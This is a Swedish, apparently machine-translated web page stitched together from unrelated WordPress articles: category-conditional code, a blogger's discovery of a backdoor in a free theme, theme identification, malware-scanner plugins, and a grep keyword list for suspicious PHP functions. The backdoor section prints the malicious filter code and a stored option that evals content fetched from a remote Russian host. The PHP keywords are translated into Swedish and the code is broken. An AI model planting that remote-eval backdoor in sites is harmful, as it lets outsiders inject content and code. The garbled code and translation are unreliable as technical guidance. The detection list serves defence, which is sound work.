Ämneskontroll. Testa ett WordPress-tema, kontrollera i felsökningsläge Hur man kontrollerar en wordpress-mall för virus

Föreställ dig att du visar inlägg och du behöver ändra utseende beroende på kategori. Du har till exempel ett block "OM FÖRFATTAREN" som visar information om författaren till en artikel, men du vill inte se detta block till exempel under inlägg från en kategori där detta inte är nödvändigt. Du kan också inaktivera kommentarer i vissa kategorier, miniatyrer och så vidare. Allt beror på dina behov och fantasier. Personligen använder jag väldigt ofta detta tillstånd.

För att filtrera poster beroende på kategori, hjälper funktionen - in_category(). Denna funktion kontrollerar om den aktuella eller givna posten tillhör den önskade kategorin, väl eller flera kategorier. Oftast matas denna funktion ut i en fil singel.php, eftersom han är ansvarig för att visa poster.

Det enklaste sättet att använda funktionen skulle se ut ungefär så här. Vi lägger till den här koden i filen single.php, om det behövs, bifoga taggarna i PHP.

PHP-taggar ser ut så här:

Om ditt tema mest använder HTML-kod, klistra in koden nedan utan ändringar. Om PHP huvudsakligen används kan taggarna som koden är innesluten i tas bort.

I den här koden sätter vi ett villkor att om det aktuella inlägget tillhör en kategori med ID - 12 så måste något visas. Vad du än vill, lägg till inuti de lockiga hängslen. Det ska vara PHP-kod, om det är svårt och du behöver lägga till HTML-kod, bryt sedan koden med samma PHP-taggar och koden blir så här:

//här skriver vi den vanliga HTML-koden eller bara text.

För att fastställa kategoriernas id måste du gå till listan över kategorier i adminpanelen och föra muspekaren över den önskade. Längst ner i webbläsarfönstret, på höger sida, kommer en länk att dyka upp inuti som kommer att vara något i stil med ID=1, det vill säga id för denna kategori är 1.

Om du behöver ange flera kategorier, ange dem sedan avgränsade med kommatecken. Du kan också behöva skapa ett "OM - DÅ"-villkor, då blir koden ungefär så här:

Föreställ dig att du behöver visa en inläggsminiatyr i rubrik 12, och den första bilden från texten i andra inlägg från andra rubriker. Händer detta och hur gör man det? Med koden ovan. Du kan läsa om produktionen av den första bilden från posten i artikeln -

Nu vill jag visa ytterligare en funktion som kan läggas till den här funktionen. Det händer att rubriker har underkategorier, det vill säga underkategorier. Och om posten tillhör en av underkategorierna, kommer villkoret att kringgå den. Om detta är vad du behöver kan du inte röra någonting, men om villkoret ändå skulle fungera för underrubriker, måste du lägga till ett tillägg till villkoret. Till att börja med måste du lägga till följande del till själva villkoret - || post_is_in_descendant_category(12). Detta är ett anrop till vår nya funktion som kommer att leta efter underkategorier. Den färdiga koden kommer att se ut så här:

För att en ny funktion ska börja fungera måste du lägga till koden för själva funktionen, det vill säga du måste skriva den. För att göra detta, hitta filen i mappen med det aktiva temat functions.php, som innehåller användardefinierade funktioner. Om du inte är bekant med PHP måste du lägga till kod i slutet av filen, men om det finns en avslutande PHP tagga - ?> , då måste du lägga till innan det. Själva koden ser ut så här:

Funktion post_is_in_descendant_category($cats, $_post = null) ( foreach ((array) $cats som $cat) ( // get_term_children() accepterar endast heltals-ID $descendants = get_term_children((int) $cat, "category"); om ($descendants && in_category($descendants, $_post)) return true; ) return false; )

Om allt är gjort korrekt kommer ditt tillstånd att välja inlägg för vissa kategorier och deras underkategorier.

För länge sedan började jag skriva den här artikeln, men alla händer nådde inte för att slutföra, sedan en, sedan den andra avbröts. Äntligen är artikeln över och kanske många hjälper till att lösa problemet.

Det var allt, tack för din uppmärksamhet. 🙂

Hej kompisar. Är du säker på att den gratis WordPress-mallen som du använder för dina webbplatser och bloggar är verkligen säker och inte innehåller dolda hot och skadlig kod? Är du helt säker på detta? Absolut?)

Du tror att de körde igenom mallen, tog bort dolda länkar från den och det är klart. Du skannar med jämna mellanrum webbplatsfilerna med ett antivirusprogram, tittar på Yandex webbansvariga på fliken Säkerhet och med lättnad ser du ett meddelande där: " Ingen skadlig kod hittades på webbplatsen«.

Så tänkte jag också. Jag vill inte göra dig upprörd, men...

Dold farlig kod i gratis WordPress-teman

Det här är brevet jag fick förra veckan med posten från min värd. Nyligen har de infört en regelbunden kontroll av alla webbplatsfiler för skadligt innehåll, och ändå hittade de detta innehåll i mig!

Allt började med det faktum att jag en dag gick till min sida och inte kunde starta den - en kränkande inskription om icke-hittade filer med php-tillägget kom ut. Efter att ha spänt mig lite gick jag för att studera innehållet i mappen med webbplatsen på webbhotellet och upptäckte omedelbart ett problem - min fuctions.php mallfil döptes om till functions.php.malware, vilket, så att säga, tvetydigt antydde - ett antivirus eller något liknande fungerade här) Efter att ha skrivit in mailet hittade jag ovanstående rapport från hostaren.

Först och främst började jag förstås kontrollera den här filen, studerade dess innehåll, skannade den med alla typer av antivirus, dussintals virusskanningstjänster online, etc. - Till slut hittade jag ingenting, alla hävdade enhälligt att filen var helt säker. Naturligtvis uttryckte jag mina tvivel till värden och sa att du förstörde något, men för säkerhets skull bad jag dem lämna en rapport om upptäckten av en skadlig kod.

Och det här är vad de sa till mig

Jag gick till google information om den här koden och funderade allvarligt på det ...

Hur man hittar en bit skadlig kod i en mall

Som det visade sig är detta ett riktigt icke-trivialt knep som låter intresserade parter överföra data till din webbplats och ändra innehållet på sidor utan din vetskap! Om du använder en gratis mall, då Jag rekommenderar starkt att du kontrollerar din functions.php för följande kod:

add_filter('the_content', '_blogginfo', 10001);
function _bloginfo($content)(
global $post;
if(är_singel() && ( [e-postskyddad](get_option('blogoption'))) !== false)(
returnera $co;
) annars returnerar $content;
}

Även med min mycket ytliga kunskap om php kan det ses att ett visst filter skapas som är knutet till den globala variabeln post och innehåll, som ansvarar för att visa innehåll endast på blogginläggssidor (is_single condition). Redan misstänkt är det inte? Nåväl, låt oss nu se vad den här koden kommer att visa på vår webbplats.

Det intressanta bloggalternativet som efterfrågas i databasen ser också väldigt suspekt ut. Vi går in i vår MySQL-databas och hittar en tabell som heter wp_options där, om du inte ändrade prefixen så kommer det se ut så här som standard. Och i den hittar vi en linje av intresse för oss som kallas blogoption

Vad är det vackra! Vi ser följande alternativ


return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

De där. oss från en viss sida (för övrigt ryska, märk väl) returnerar innehåll som kan innehålla vad som helst! Valfritt antal länkar, skadliga koder, ändrad text, etc. Webbplatsen själv, när den kommer åt den, ger ut ett 403 åtkomstfel, vilket inte är förvånande. Naturligtvis tog jag också bort det här alternativet från databasen.

Enligt informationen från offren, returneras exakt innehållet i din artikel vanligtvis med endast en modifiering - istället för någon punkt "." en öppen länk var maskerad i texten! Och förresten, det här alternativet skrivs till databasen när själva mallen är installerad, och sedan förstör koden som gör detta säkert själv. Och jag levde med sådant skräp i två år, och inte ett enda antivirus eller tjänst avslöjade detta hot för mig under hela den tiden. För att vara ärlig, märkte jag inte om den här tekniken någonsin fungerade för mig, eller om mitt säkerhetsplugin blockerade denna möjlighet (eller kanske en av WordPressa-uppdateringarna stängde det här hålet), men det är fortfarande obehagligt.

Moralen i den fria osten

Vad tycker du om sofistikeringen hos våra "översättare" av mallar (eller de som lägger upp dem i sina kataloger)? Det är inte för dig att klippa ut länkar från sidfoten) Det är synd att jag inte kommer ihåg var jag laddade ner min mall ifrån, det var länge sedan, annars hade jag skrivit ett par tillgivna. Och om jag vid den tiden hade samma erfarenhet som jag har nu, så skulle jag definitivt inte använda en gratis mall, eller, i extrema fall, inte ladda ner från okända källor!

Det är lättare att köpa någon officiell premiummall för 15-20 spänn på samma och leva i fred med vetskapen om att det inte finns några hål och krypterade länkar i den, och även om det finns sårbarheter kommer utvecklarna definitivt att släppa en uppdatering där dessa hålen kommer att stängas. ( Artem publicerade förresten nyligen en artikel där han bara pratar om premiummallar och till och med delar ut kampanjkoder för brutala rabatter för den som är intresserad)

Har du någonsin undrat vilket tema en viss webbplats använder?

Ofta, på jakt efter det perfekta temat, tittar vi på andra avslutade projekt för att hitta något liknande eller för att göra vår sida på samma tema, bara med vår egen individuella design.

I den här handledningen visar vi dig de verktyg och knep du kan använda för att ta reda på vilket tema denna WordPress-webbplats använder.

Metod 1: IsItWP-verifieringswebbplats

Det enklaste sättet är att gå till isitwp.com och kolla in sidan du är intresserad av.

Detta är ett onlineverktyg som visar dig vilket tema WordPress använder och om WordPress överhuvudtaget används på webbplatsen.

Om webbplatsen kör WordPress kommer IsItWP att försöka ta reda på namnet på det aktuella temat.

Det kommer också att försöka ta reda på vilka aktiva plugins som används på webbplatsen:

Om du har tur och det inte är ett anpassat eller barntema, kommer IsItWP att ge dig namnet på temat, och du kan söka efter det temat vidare.

Metod 2. Definiera manuellt

Ibland ändrar webbplatsägare eller utvecklare namnet på sitt ursprungliga WordPress-tema. I det här fallet kommer verktyg som IsItWP inte att kunna hjälpa dig.

Men trots det kan det fortfarande finnas olika tips i webbplatskoden som hjälper dig att ta reda på vilken typ av tema som är installerat.

Låt oss ta en titt.

Varje WordPress-tema måste ha en style.css. Den här filen innehåller en rubrik inuti, som i regel anger temanamn, temaförfattare, version och temautvecklarwebbplats. Det specificerar också andra css-mallar som temat använder.

För att hitta den här filen måste du först gå till själva webbplatsen. Högerklicka någonstans på huvudsidan och navigera till källkodsvy ( Visa sidans källa).

Källkoden för webbplatsens huvudsida öppnas i webbläsaren på en ny flik.

Nu måste du hitta en kodrad som ser ut ungefär så här:

För att göra det enklare kan du söka på den här fliken med kodavsnittet " teman". Detta är en del av katalogen där style.css.

Därmed hittar du sökvägen där style.css-filen ligger, och du kan öppna denna fil direkt i webbläsaren i en ny flik.

Överst på style.css kommer det att finnas en rubrik med en rubrik (som vi pratade om ovan). Detta är serviceinformation om temat. Det ser ut ungefär så här:

/* Temanamn: Temanamn Tema-URI: https://example.com Författare: ThemeAuthorName Författare-URI: https://example.com Beskrivning: Mitt tema är ett flexibelt WordPress-tema designat för portföljwebbplatser Version: 1.1.47 Licens: GNU General Public License v2 eller senare Licens-URI: http://www.gnu.org/licenses/gpl-2.0.html Textdomän: hestia Taggar: blogg, anpassad logotyp, portfölj, e-handel, rtl-language-support , post-formats, grid-layout, one-column, two-columns, custom-background, custom-colors, custom-header, custom-menu, featured-image-header, featured-images, flexibel-header, full-width -mall, sticky-post, tema-alternativ, trådade kommentarer, översättningsklar */

Från detta block kan du ta reda på namnet på ämnet och adressen till utvecklaren. Sedan återstår bara att hitta detta ämne på Internet.

Metod 3. Hur man hittar föräldratemat

Många webbplatser använder barnteman för att anpassa utseendet. Och detta är helt rätt tillvägagångssätt.

I det här fallet, om du hittade filen style.css från ett underordnat tema kommer dess rubrik att innehålla information om det överordnade temat:

/* Temanamn: Mitt barn Tema Beskrivning: Bara ett barntema Författare: Peter Smith Författarens URL: Skriv här författarens blogg eller webbadress Mall: hestia Version: 1.0 Licens: GNU General Public License v2 eller senare Licens-URI: http :/ /www.gnu.org/licenses/gpl-2.0.html Textdomän: mitt-barn-tema */

I exemplet ovan, parametern " Mall", vilket betyder att föräldratemat "Hestia" används för detta barntema.

Du kan också lära dig om föräldratemat från källkoden som beskrivs i metod 2. I koden hittar du en referens till filen style.css, inte bara från undertemat, utan också från föräldratemat.

Men glöm inte att utvecklaren kan försöka ändra alla rubriker för style.css till sina egna, i vilket fall det skulle vara mycket svårt att fastställa det ursprungliga temat.

WordPress är den mest populära motorn för att skapa olika informationssajter och bloggar. Säkerheten för din webbplats är mer än säkerheten för din data. Detta är mycket viktigare, eftersom det också är säkerheten för alla användare som läser din resurs och litar på den. Det är därför det är så viktigt att sidan inte är infekterad med virus eller annan skadlig kod.

Vi kommer att täcka hur du skyddar WordPress från hackning i en av följande artiklar, men nu vill jag berätta hur du kontrollerar din WordPress-webbplats för virus och skadlig kod för att se till att allt är säkert.

Det allra första alternativet som kommer att tänka på är att hackare har hackat dig och byggt in sina bakdörrar i din webbplatskod för att kunna skicka spam, lägga in länkar och andra dåliga saker. Detta händer ibland, men det är ganska ovanligt om du uppdaterar programvaran i tid.

Det finns tusentals gratis WordPress-teman och plugins där ute, och det är här faran ligger. Det är en sak när du laddar ner en mall från en WordPress-webbplats och en helt annan när du hittar den på den vänstra sidan. Skrupelfria utvecklare kan bädda in olika skadlig kod i sina produkter. Det är ännu större risk om du laddar ner premiummallar gratis, där hackare inte riskerar något och kan lägga till något slags säkerhetshål som de sedan kan tränga igenom och göra vad de behöver. Det är därför det är så viktigt att kontrollera din wordpress-sajt för virus.

Kollar wordpress för virus

Det första man ska titta på när man kontrollerar en webbplats är inte virus, det är WordPress-plugins. Snabbt och enkelt kan du skanna din webbplats och hitta misstänkta kodavsnitt som är värda att titta efter, oavsett om de är i ett tema, en plugin eller själva kärnan i Wodpress. Låt oss ta en titt på några av de mest populära plugins:

1.TOC

Denna mycket enkla plugin kontrollerar alla teman som är installerade på din webbplats för skadlig kod. Insticksprogrammet upptäcker dolda länkar krypterade med insättning av base64-kod, och visar även detaljerad information om de problem som hittats. Oftast är de hittade delarna av koden inte virus, men de kan potentiellt vara farliga, så du bör vara uppmärksam på dem.

öppen "Utseende" -> "TAC" vänta sedan tills alla ämnen är kontrollerade.

2.VIP-skanner

Mycket lik TOC topic scanner, men med mer detaljerad information. Samma möjligheter att upptäcka länkar, dold kod och andra skadliga inlägg. Öppna bara VIP Scanner-objektet i verktygssektionen och analysera resultatet.

Det kan räcka med att radera onödiga filer, till exempel desktop.ini. Eller så måste du titta närmare på vad som händer i filer med base64.

3. Anti-Malware från GOTMLS.NET

Denna plugin låter dig inte bara skanna teman och kärnan på webbplatsen efter virus, utan också för att skydda webbplatsen från brute force med lösenord och olika XSS, SQLInj-attacker. Sökningen utförs utifrån kända signaturer och sårbarheter. Vissa sårbarheter kan fixas på plats. Öppna för att börja skanna filer "Anti Malvare" i sidofältet och klicka "Kör skanning":

Innan du kan köra en skanning måste du uppdatera signaturdatabaserna.

4.Wordfence

Detta är en av de mest populära WordPress-plugins för säkerhet och skanning av skadlig programvara. Utöver skannern, som kan hitta de flesta bokmärken i WordPress-koden, finns ett ständigt skydd mot olika typer av attacker och brute force med lösenord. Under sökningen hittar pluginen möjliga problem med olika plugins och teman, rapporterar behovet av att uppdatera WordPress.

Öppna en flik "WP Defense" i sidofältet och gå sedan till fliken "Skanna" och tryck "Starta skanning":

Skanningen kan ta lite tid, men när den är klar kommer du att se en detaljerad rapport över de problem som hittats.

5.Antivirus

Detta är ett annat enkelt plugin som kommer att skanna din webbplatsmall efter skadlig kod. Nackdelen är att endast den aktuella mallen skannas, men informationen visas tillräckligt detaljerat. Du kommer att se alla farliga funktioner som temat har och sedan kan du analysera i detalj om de utgör någon fara. Hitta ett föremål "Antivirus" i inställningar och klicka sedan "Skanna temamallarna nu":

6. Integritetskontroll

Det är också tillrådligt att kontrollera integriteten hos WordPress-filerna, om viruset redan har registrerat sig någonstans. För att göra detta kan du använda plugin-programmet Integrity Checker. Den kontrollerar alla kärn-, plugin- och mallfiler för ändringar. I slutet av skanningen kommer du att se information om de ändrade filerna.

Online tjänster

Det finns också flera onlinetjänster som låter dig kontrollera din wordpress-sajt efter virus eller bara kolla mallen. Här är några av dem:

themecheck.org- du laddar ner temaarkivet och kan se alla varningar om möjliga skadliga funktioner som används i det. Du kan inte bara se information om ditt tema, utan också om andra teman som laddats upp av andra användare, såväl som olika versioner av temat. Allt plugins hittar kan hittas på den här webbplatsen. Att validera ett wordpress-tema är också mycket viktigt.

virustotal.com- en välkänd resurs där du kan kontrollera din webbplats eller mallfil för virus.

ReScan.pro- Att kontrollera en WordPress-webbplats för virus med hjälp av denna tjänst är gratis, statisk och dynamisk analys utförs för att upptäcka möjliga omdirigeringar.Skannern öppnar webbplatsens sidor. Kollar sidan mot olika svarta listor.

sitecheck.sucuri.net- en enkel tjänst för att skanna webbplatsen och teman efter virus. Det finns ett plugin för WordPress. Upptäcker farliga länkar och skript.

Manuell kontroll

Ingenting kan vara bättre än manuell verifiering. Linux har ett underbart grep-verktyg som låter dig söka efter förekomster av godtyckliga strängar i en mapp med filer. Det återstår att förstå vad vi kommer att leta efter:

eval - den här funktionen låter dig exekvera godtycklig php-kod, den används inte av produkter med självrespekt, om någon av plugins eller temat använder den här funktionen är det nästan 100% säkert att det finns ett virus där;

  • base64_decode- Krypteringsfunktioner kan användas med eval för att dölja skadlig kod, men de kan också användas för fredliga syften, så var försiktig;
  • sha1- en annan metod för att kryptera skadlig kod;
  • gzinflate- komprimeringsfunktion, samma mål, tillsammans med eval, t.ex. gzinflate(base64_decode(kod);
  • strrev- vänder strängen bakåt inte tidigare, eftersom en variant kan användas för primitiv kryptering;
  • skriva ut- skriver ut information till webbläsaren, tillsammans med gzinflate eller base64_decode är farligt;
  • file_put_contents– WordPress i sig eller plugins kan fortfarande skapa filer i filsystemet, men om temat gör det bör du vara försiktig och kolla varför det behöver det, eftersom virus kan installeras;
  • file_get_contents- i de flesta fall används den för fredliga syften, men kan användas för att ladda ner skadlig kod eller läsa information från filer;
  • ringla- samma historia;
  • fopen- öppnar en fil för att skriva, man vet aldrig vad;
  • systemet- funktionen exekverar ett kommando i ett Linux-system, om det görs av ett tema, plugin eller wordpress själv, är det troligtvis ett virus;
  • symbollänk- skapar symboliska länkar i systemet, kanske viruset försöker göra huvudfilsystemet tillgängligt utifrån;
  • kopiera- kopierar en fil från en plats till en annan;
  • getcwd- returnerar namnet på den aktuella arbetskatalogen;
  • cwd- ändrar den aktuella arbetsmappen;
  • ini_get- får information om PHP-inställningar, ofta i fredliga syften, men man vet aldrig;
  • error_reporting(0)- inaktiverar utmatningen av eventuella felmeddelanden;
  • window.top.location.href- Javascript-funktion som används för omdirigeringar till andra sidor;
  • hackad- så, för säkerhets skull, kollar vi, plötsligt, beslutade hackaren själv att berätta för oss.

Du kan ersätta varje enskilt ord med ett kommando så här:

grep -R "hackad" /var/www/path/to/files/wordpress/wp-content/

Eller använd ett enkelt skript som söker efter alla ord på en gång:

värden="base64_decode(
eval(base64_decode
gzinflate(base64_decode(
getcwd();
strrev(
chr(ord(
cwd
ini_get
window.top.location.href
kopiera(
eval(
systemet(
symbollänk(
error_reporting(0)
skriva ut
file_get_contents(
file_put_contents(
fopen(
hackad"

cd /var/www/path/to/files/wordpress/wp-content/
$ fgrep -nr --include \*.php "$värden" *

Där det finns en webbplats kan det finnas virus. Denna enkla sanning låter dig inte slappna av och kräver konstant övervakning av webbplatsens "hälsa". WordPress-webbplatser är inget undantag, och om vi tar hänsyn till WordPress CMS:s popularitet är det tydligt varför infektioner av dessa webbplatser förekommer oftare än webbplatser i andra system. Det finns många verktyg för antivirusskanning av webbplatser. I den här artikeln kommer jag att prata om en utmärkt virusfighter för WordPress-webbplatser - AntiVirus-plugin, hur man hittar och tar bort ett virus på WordPress med Antivirus-plugin.

Vad menar vi med ett virus på en webbplats

Ett virus på en webbplats betyder alla tredjepartsprogram som tvingar webbplatsen att fungera, inte som den är inbäddad i systemprogrammen. Definitionen av ett virus inkluderar:

  • listad på webbplatsen;
  • Krypterade verkställande funktioner som träffar webbplatsen med plugins och teman;
  • Eventuella php-skript och Java-koder som utför åtgärder som inte är kända för webbplatsägaren.

Resultaten av virusverkan på webbplatsen kan vara mycket olika:

  • Länkar till tredje parts resurser;
  • Automatisk omdirigering till andras resurser;
  • Läsa nya publikationer och duplicera dem på tredjepartsresurser;
  • Otillåten reklam på webbplatsen;
  • Förstörelsen av webbplatskoden och, som ett resultat, webbplatsens fall.

Installera och konfigurera antivirusplugin

Ett utmärkt verktyg för att kontrollera en webbplats för virus är antivirus plugin. Plugin-programmet har över 90000+ nedladdningar, senast testade på WordPress version 4.6.11.

Du kan installera ett plugin från webbplatskonsolen, på fliken Plugins→ Lägg till ny, med hjälp av formuläret Sök plugins efter namn.

Installera antivirusplugin från adminpanelen

Hur man tar bort ett virus på WordPress med antivirusplugin

Viktig! Innan du arbetar med plugin-programmet.

Insticksprogrammet fungerar utan knep. Tvärs över Inställningar→ Antivirus eller Plugins → AntiVirus → Inställningar vi går in på sidan för det aktiverade plugin-programmet.

Klicka på " Skanna temamallarna" Och se resultatet av kontrollen. Alla kataloger för arbetstemat kommer att återspeglas på sidan. Grön färg betyder frånvaro av virus, röd färg indikerar infektion.


Kör en skanning med AntiVirus-plugin
Dela med sig